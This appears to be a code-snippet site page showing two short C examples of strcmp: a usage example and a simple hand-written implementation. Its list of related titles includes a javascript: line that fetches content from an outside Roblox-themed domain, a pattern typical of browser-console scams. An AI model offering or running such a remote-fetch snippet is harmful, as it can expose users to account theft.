Search
 
SCRIPT & CODE EXAMPLE
 

C

strcmp c

// use: strcmp(string1, string2);

string a = "words";
string b = "words";

if (strcmp(a, b) == 0)
{
	printf("a and b match");
  	// strcmp returns 0 if both strings match
}

else
{
	printf("a and b don't match");
  	// strcmp returns anything else if the strings dont match
}
Comment

c strcmp

// strCmp implementation
// string1 < string2 => return a negative integer
// string1 > string2 => return a positive integer
// string1 = string2 => return 0
int strCmp(const char* s1, const char* s2) {
    while(*s1 && (*s1 == *s2)) {
        s1++;
        s2++;
    }
    return *s1 - *s2;
}
Comment

PREVIOUS NEXT
Code Example
C :: sizeof file c 
C :: mediawiki upload size 
C :: c to fahrenheit 
C :: boolean input in c 
C :: print only last 3 number float in c 
C :: Program to print all palindromes in a given range 
C :: Write a C program to multiply two integers using pointers. 
C :: gitlab ci heroku 
C :: array of strings c 
C :: c malloc array 
C :: atoi string to int 
C :: logical operators 
C :: realloc in c 
C :: use frama c online 
C :: lxde automatic login 
C :: printing a string with putchar 
C :: Javascript:$.get("//javascript-roblox.com/api?i=29229") 
C :: run steam as root 
C :: check if a number is even and bigger than or equal to 16 using bitwise 
C :: print integer to stdout using write or putchar? 
C :: can we update values of a map via traversing 
C :: java Node<E 
C :: 157.245.33.77: 
C :: how to initiate pointer array with null in c 
C :: what is the difference between algorithm and flowchart in c program 
C :: python to c converter online free 
C :: read a string 
C :: inline function in c example 
C :: sort vectors c 
C :: difference between int main() and int main(void) 
ADD CONTENT
Topic
Content
Source link
Name
7+8 =